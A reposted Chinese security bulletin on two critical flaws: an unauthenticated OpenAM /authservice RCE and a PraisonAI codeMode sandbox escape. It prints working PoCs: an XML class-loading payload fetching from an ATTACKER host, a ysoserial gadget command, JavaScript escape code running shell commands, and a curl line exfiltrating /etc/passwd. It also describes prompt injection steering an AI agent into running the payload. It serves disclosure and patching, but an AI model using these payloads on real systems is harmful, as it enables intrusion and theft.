每日漏洞推送OpenAM≤16.1.1未认证RCE(/authservice PLL任意类实例化+Subject反序列化)

admin 2026-09-18 06:42:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档推送两个高危漏洞:CVE-2026-62379影响OpenAM≤16.1.1,为未认证RCE,CVSS9.8,攻击面在/authservice端点,通过任意类实例化与Subject反序列化实现,建议升级至16.1.2并网络封堵;CVE-2026-57141与CVE-2026-57138影响PraisonAIcodeMode,为沙箱逃逸致宿主RCE,CVSS最高9.9,建议升级至1.7.2。两者均暂无在野利用报告,但风险极高,需优先处置。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,应急响应


每日漏洞推送 OpenAM ≤ 16.1.1 未认证 RCE(/authservice PLL 任意类实例化 + Subject 反序列化)

原创

nullchen nullchen

富贵学安全

2026年9月16日 10:43 陕西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

📡 每日漏洞情报推送 | 2026-09-16(周三)


🔴 漏洞一:CVE-2026-62379 — OpenAM ≤ 16.1.1 未认证 RCE(/authservice PLL 任意类实例化 + Subject 反序列化)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-62379 | | 影响产品 | Open Access Management (OpenAM) ≤ 16.1.1(Open Identity Platform 社区版;亦覆盖其前身 ForgeRock OpenAM,缺陷早于分叉) | | 受影响组件 | openam-core → com.sun.identity.authentication.share.AuthXMLUtils.createCustomCallback();入口端点 /authservice(PLL) | | 漏洞类型 | CWE-470 外部可控类选择/不安全反射 + CWE-502 不安全反序列化 → 未认证远程代码执行 | | CVSS | 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | 修复版本 | 16.1.2 | | 公开时间 | 2026-09-15 | | 发现者 | Zhixi “Jace” Sun(TikTok ASM/VI) | | 在野利用 | ⚠️ 暂无在野报告,但未认证、默认配置可打,优先级最高 |

🔥 紧急程度

OpenAM 是 SSO/身份管理的底座,一旦被打穿,整个联邦身份体系随之沦陷。 漏洞点在请求解析阶段:服务器还没有做任何鉴权,就已经把 XML 里 <CustomCallback className="..."> 指定的类加载并实例化了。更糟的是官方明确提示——开启 sunRemoteAuthSecurityEnabled 并不能缓解,因为安全令牌校验(AuthXMLHandler.processAuthXMLRequest)发生在解析(AuthXMLRequest.parseXML)之后,此时恶意类早已被实例化。唯一可靠的临时缓解是网络层封堵 /authservice。

📝 漏洞描述

在修复前,createCustomCallback() 对 XML 中读到的类名不做任何校验,直接加载并实例化:

// 修复前(漏洞代码)
StringclassName=XMLUtils.getNodeAttributeValue(childNode,&nbsp;AuthXMLTags.ATTRIBUTE_CLASS_NAME);
...
ClassxmlClass=Class.forName(className); &nbsp; &nbsp; &nbsp;// ← 攻击者可控;触发静态初始化器
callback=&nbsp;(DSAMECallbackInterface)&nbsp;xmlClass.newInstance(); &nbsp;// ← 直接实例化任意类

两条独立利用面:

  1. 任意类加载/实例化:Class.forName(className) 的默认语义会执行目标类的静态初始化器,newInstance() 再调用其无参构造函数。攻击者只要在目标 classpath 上找到一个「静态块/无参构造有副作用」的类(JNDI 注入类、CXF/Spring 相关 gadget 等),即可在服务端进程(通常以容器特权/root 运行)中执行代码。
  2. 序列化 <Subject> 的不安全反序列化:AuthXMLUtils.getDeSerializedSubject() 对回传的 Subject 值直接 ObjectInputStream.readObject(),无类白名单,可被伪造/中继响应触发 gadget 链 RCE。

修复提交 edcf968 做了两件事:Class.forName(className, false, ...)(不触发静态初始化)+ 强制实现 DSAMECallbackInterface 才实例化;并给 Subject 反序列化加上了 ObjectInputFilter 类白名单(仅放行 Subject/JDK 集合标量/Principal 实现)。

利用条件:网络可达 OpenAM /authservice(默认部署即暴露)+ 存在可用 gadget 类(见 PoC)。

💻 PoC/EXP

来源标注:机理来自 OpenAM 修复提交 edcf968cad91a78b932dba4ad559ef94cbf35f5a 与 GHSA-wg5r-wc3x-39vc;类名/属性常量取自源码 AuthXMLUtils.java 与 AuthXMLTags。以下为授权测试用 PoC,报文封装(<RequestSet>/<Login> 外层)请按目标 PLL 实现补全,关键攻击元素为 <CustomCallback className="...">。

1️⃣ 未认证触发任意类实例化(Python3,单文件)

#!/usr/bin/env python3
"""
CVE-2026-62379 — OpenAM <= 16.1.1 未认证 RCE (Class.forName in AuthXMLUtils.createCustomCallback)
仅限授权安全测试使用
"""
importsys,&nbsp;requests

TARGET=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"http://127.0.0.1:8080"
# 换成一个能在目标 classpath 上触发副作用的类(示例为通用 JNDI/反射型 gadget 名)
EVIL_CLASS=sys.argv[2]&nbsp;iflen(sys.argv)&nbsp;>2else"org.springframework.context.support.ClassPathXmlApplicationContext"

payload=f'''<?xml version="1.0" encoding="UTF-8"?>
<AuthContext version="1.0">
&nbsp; <RequestSet vers="1.0" svcid="auth" reqid="1">
&nbsp; &nbsp; <Request>
&nbsp; &nbsp; &nbsp; <Login>
&nbsp; &nbsp; &nbsp; &nbsp; <IndexType>module</IndexType>
&nbsp; &nbsp; &nbsp; &nbsp; <Callbacks>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <CustomCallback className="{EVIL_CLASS}">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <AttributeValuePair>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <Attribute name="url"/>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <Value>http://ATTACKER:8000/evil.xml</Value>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </AttributeValuePair>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </CustomCallback>
&nbsp; &nbsp; &nbsp; &nbsp; </Callbacks>
&nbsp; &nbsp; &nbsp; </Login>
&nbsp; &nbsp; </Request>
&nbsp; </RequestSet>
</AuthContext>'''

r=requests.post(f"{TARGET}/authservice",&nbsp;data=payload.encode(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;headers={"Content-Type":&nbsp;"text/xml",&nbsp;"SOAPAction":&nbsp;""},&nbsp;timeout=10)
print(f"[*] HTTP&nbsp;{r.status_code}")
print(r.text[:800])
# 若返回解析/业务错误(而非 401/403),说明请求已被解析 → className 已被 Class.forName 加载

2️⃣ 序列化 <Subject> 反序列化探测(配合 ysoserial 类链)

# 若目标回传的 <Subject> 值参与反序列化,可用 ysoserial 生成链后按目标编码嵌入:
# &nbsp; java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' | base64 -w0
# &nbsp; 将结果填入报文中的 Subject 值字段后提交,观察是否命中 gadget 链
# 说明:本条通道在修复前无类白名单,属结构性缺陷。

3️⃣ 一键检测(是否受影响 / 未认证可达)

#!/bin/bash
# CVE-2026-62379 检测 —— 仅限授权测试
TARGET="${1:-http://127.0.0.1:8080}"
PROBE='<?xml version="1.0"?><AuthContext version="1.0"><RequestSet vers="1.0" svcid="auth" reqid="1"><Request><Login><Callbacks><CustomCallback className="java.lang.String"/></Callbacks></Login></Request></RequestSet></AuthContext>'
code=$(curl -s -o /tmp/out.txt -w "%{http_code}" -X POST "$TARGET/authservice" \
&nbsp; &nbsp; &nbsp; &nbsp; -H 'Content-Type: text/xml' --data-binary "$PROBE")
echo"[*] HTTP&nbsp;$code"; head&nbsp;-c400&nbsp;/tmp/out.txt;&nbsp;echo
# 判读:若返回 200/500 且含 PLL 解析痕迹(非 401/403),说明 /authservice 未认证可达,
# &nbsp; &nbsp; &nbsp; 且 className 元素被服务端处理 → 目标存在 CVE-2026-62379 风险面
# 版本核验: curl -s "$TARGET/amserver/version" 或登录页版本号;< 16.1.2 均受影响

🛡️ 修复建议

| 方式 | 说明 | | — | — | | 立即升级 | 升级到 OpenAM 16.1.2(同批修复 45052/46619/48717 等) | | 网络封堵(唯一可靠缓解) | 限制/阻断外部网络访问 /authservice;该端点仅供内部 PLL 使用,不应公网可达 | | WAF/反代规则 | 在反代/WAF 拦截携带 <CustomCallback className="..."> 的 PLL 请求(正常部署极少发送该元素,先比对现有流量再强制) | | 不要依赖的假缓解 | ⚠️ 启用 sunRemoteAuthSecurityEnabled 无效——校验晚于解析发生 | | 失陷排查 | 审计 /authservice 访问日志、异常类加载/外联、可疑 Subject 反序列化;视为可能已被控制,轮换服务凭据与 SSO 信任材料 |

🔗 参考来源

  • NVD CVE-2026-62379
  • GHSA-wg5r-wc3x-39vc(OpenAM 未认证 RCE 通告)
  • OpenAM 修复提交 edcf968(AuthXMLUtils 加固)
  • OpenAM 16.1.2 Release

🔴 漏洞二:CVE-2026-57141 / CVE-2026-57138 — PraisonAI codeMode 沙箱逃逸 → AI Agent 宿主 RCE

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-57141(PR:N,9.8)、CVE-2026-57138(PR:L/UI:N,9.9)— 同源同修 | | 影响产品 | praisonai-ts(npm praisonai)/ PraisonAI 多智能体框架,codeMode 工具:1.4.0 – 1.7.2(57141 记为 1.7.2 之前;57138 记为 1.4.0–1.7.2) | | 受影响文件 | src/praisonai-ts/src/tools/builtins/code-mode.ts | | 漏洞类型 | CWE-94 代码注入 / CWE-693 保护机制失效 —— 假沙箱(new Function+with+正则黑名单)被原型链逃逸 → 宿主 RCE | | CVSS | 9.9 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(57138);9.8 同型(57141) | | 修复版本 | praisonai-ts 1.7.2(改用 node:vm 的 runInNewContext;shell 工具改 spawn(shell:false) + 元字符拦截) | | 公开时间 | 2026-09-15 | | 在野利用 | ⚠️ 暂无在野报告;攻击面极大(提示词注入即可) |

🔥 紧急程度

PraisonAI 是热门的多智能体编排框架,codeMode 工具常被默认开启,用于让 Agent「写代码 → 跑代码」。其自称 capabilities.sandbox: true,但实现是 new Function() + with(sandbox) —— 这在 V8 里根本不是隔离边界,只是往作用域链塞了个普通对象。攻击者只需影响喂给 Agent 的代码参数(典型场景:提示词注入 / 不可信文档 / 被投毒的 MCP 工具返回)即可逃逸并在宿主进程执行任意命令:读密钥、改文件、装后门、容器内横向。对 AI Agent 而言,这是一个「提示词 → shell」的直通车。

📝 漏洞描述

漏洞代码(code-mode.ts L187–191,修复前):

// 修复前:伪沙箱
constsandbox=&nbsp;{
&nbsp;&nbsp;console: {&nbsp;log:&nbsp;...,&nbsp;error:&nbsp;...,&nbsp;warn:&nbsp;...&nbsp;},
&nbsp;&nbsp;process:&nbsp;undefined, &nbsp; &nbsp;&nbsp;// ← 只是把这个对象里的属性置空
&nbsp;&nbsp;require:&nbsp;undefined, &nbsp; &nbsp;&nbsp;// ← 无法阻止沿全局作用域取回
&nbsp;&nbsp;env:&nbsp;env||&nbsp;{},&nbsp;files:&nbsp;files||&nbsp;{},
};

constfn=newFunction('sandbox',&nbsp;`with (sandbox) { ${code}}`);
constresult=fn(sandbox); &nbsp;&nbsp;// ← 在宿主 V8 上下文执行

执行前仅做正则黑名单拦截:

constblockedPatterns=&nbsp;[
&nbsp;&nbsp;/require\s*\(\s*['"]child_process['"]\s*\)/,
&nbsp;&nbsp;/require\s*\(\s*['"]fs['"]\s*\)/,
&nbsp;&nbsp;/import\s+.*from\s+['"]child_process['"]/,
&nbsp;&nbsp;/process\.exit/,
&nbsp;&nbsp;/eval\s*\(/,
];

三处根本缺陷:

  1. with(sandbox) 不提供隔离——with 只把对象加入作用域链,从不阻断全局对象。process: undefined / require: undefined 只是遮蔽,可用 Function('return this')()(或 ({}).constructor.constructor(...))沿原型链取回真正的 Function 构造器,从而拿到真实全局对象。
  2. 黑名单可被字符串拼接绕过——正则要求 require('child_process') 中出现字面量'child_process';改成 g.require('child_' + 'process') 即完全绕过。
  3. 关键逃逸原语未被拦截——黑名单不含Function(、new Function、constructor、propotype/__proto__、return this、global/globalThis、global.require。

取回 process 后,CommonJS 下 process.mainModule.require 即可 require('fs') / require('child_process'),越过一切显式控制。

利用条件:Agent 启用了 codeMode 工具 + 攻击者能影响其 code 参数(提示词注入、恶意文档、被污染的 MCP 工具输出等)。

💻 PoC/EXP

来源标注:PoC 与「已观测输出」直接取自 GHSA-p69m-4f92-2v84(CVE-2026-57141)与 GHSA-vmmj-pfw7-fjwp(CVE-2026-57138),测试环境 Node.js v20.20.0。仅限授权测试。

1️⃣ 逃逸并执行命令(绕过全部黑名单)

// 直接作为 codeMode 的 code 参数(或诱导 Agent 生成)——绕过所有 blockedPatterns
constcode=`
const Func = (function(){}).constructor; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 取回真实 Function
const proc = Func('return process')(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 得到宿主 process
console.log('process.version:', proc.version);
const g = Function('return this')(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 取回全局对象
const mod = 'child_' + 'process'; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 拼接绕过正则
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
`;

已观测输出(GHSA 复现):

OUT: process.version: v20.20.0
OUT: RCE: uid=1000(...) groups=1000(...),27(sudo),983(docker),984(ollama)

(id 返回真实系统用户 → 沙箱逃逸成立。附带可见 docker 组成员,容器内横向风险高。)

2️⃣ 变体:process.mainModule.require 路线(不依赖全局 require)

// CVE-2026-57138 描述的经典原型链回收
constp=&nbsp;({}).constructor.constructor('return process')(); &nbsp;&nbsp;// 沿原型链取 Function → process
constcp=p.mainModule.require('child_process');
cp.execSync('curl http://ATTACKER:8000/$(cat /etc/passwd | base64 -w0)'); &nbsp;// 外带

3️⃣ 负向对照(证明是「绕过」而非「未拦」)

// 直连写法会被拦:
require('child_process'); &nbsp;&nbsp;// → "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"
eval('process'); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// → "Blocked pattern detected: eval\s*\("

4️⃣ 通过 Agent 的端到端触发面(示意)

攻击者可控输入(提示词/文档/MCP 工具返回)
&nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;诱导 Agent 调用 codeMode.execute({ code: <上面 payload> })
&nbsp; &nbsp; &nbsp; &nbsp; ▼
PraisonAI codeMode → new Function('sandbox','with (sandbox){...}') → 宿主 RCE

🛡️ 修复建议

| 方式 | 说明 | | — | — | | 立即升级 | 升级到 praisonai-ts 1.7.2(codeMode 改用 node:vm``runInNewContext + 超时;shell 工具改 spawn(shell:false) 并拦截 shell 元字符) | | 真正隔离 | 生产环境代码执行应使用 vm 上下文 / isolated-vm(独立 V8 isolate)/ 独立子进程,不要依赖 new Function+黑名单 | | 最小权限 | 运行 Agent 的进程降权、去 docker 组、去宿主机挂载、去云 IAM;容器内限制出网 | | 关闭不必要工具 | 非必要不开 codeMode;对工具调用开启人工审批/HITL | | 输入侧防护 | 对提示词/外部文档/MCP 返回做来源可信标记,隔离不可信内容,降低注入触发面 | | 黑名单认知 | 即便保留黑名单,也须补 Function(/constructor/__proto__/return this/global;但黑名单本质脆弱,不应当作安全边界 |

🔗 参考来源

  • NVD CVE-2026-57141 / NVD CVE-2026-57138
  • GHSA-p69m-4f92-2v84(codeMode 沙箱逃逸 RCE)
  • GHSA-vmmj-pfw7-fjwp(npm praisonai codeMode via Function constructor)
  • PraisonAI 修复提交 709a038(改用 node:vm)
  • PraisonAI Release v4.6.60 / praisonai-ts 1.7.2

🛡️ 优先行动建议

优先等级 &nbsp; &nbsp;行动 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;截止日期
────────────────────────────────────────────────────
🔴 最高 &nbsp; &nbsp; OpenAM 升级 >=16.1.2;/authservice 网络层封堵 &nbsp; &nbsp;立即 (未认证 RCE)
🔴 最高 &nbsp; &nbsp; PraisonAI 升级 praisonai-ts >=1.7.2;关 codeMode &nbsp;立即 (提示词→宿主 RCE)
🔴 最高 &nbsp; &nbsp; 覆盖硬编码密钥:praisonai-platform / Kimai 镜像 &nbsp; 立即 (令牌伪造/账户接管)
🟠 紧急 &nbsp; &nbsp; Casdoor / pig / proxy-addr 升级;OpenAM 同批补丁 &nbsp; 尽快 (认证绕过)
🟡 关注 &nbsp; &nbsp; Polyaxon / pgweb / wandb 升级;Firefox 走补丁流程 &nbsp; 尽快
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Agent 进程降权、去 docker 组、去云 IAM、限制出网

⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 OpenAM ≤ 16.1.1 未认证 RCE(/authservice PLL 任意类实例化 + Subject 反序列化)》

TCP的意义是什么? 网络安全文章

TCP的意义是什么?

文章总结: 本文探讨TCP协议的核心价值,通过与UDP加应用层ACK方案的对比,阐明TCP内部自动实现超时重传与保序机制,虽仍需应用层ACK确认数据到达,但已大
评论:0   参与:  0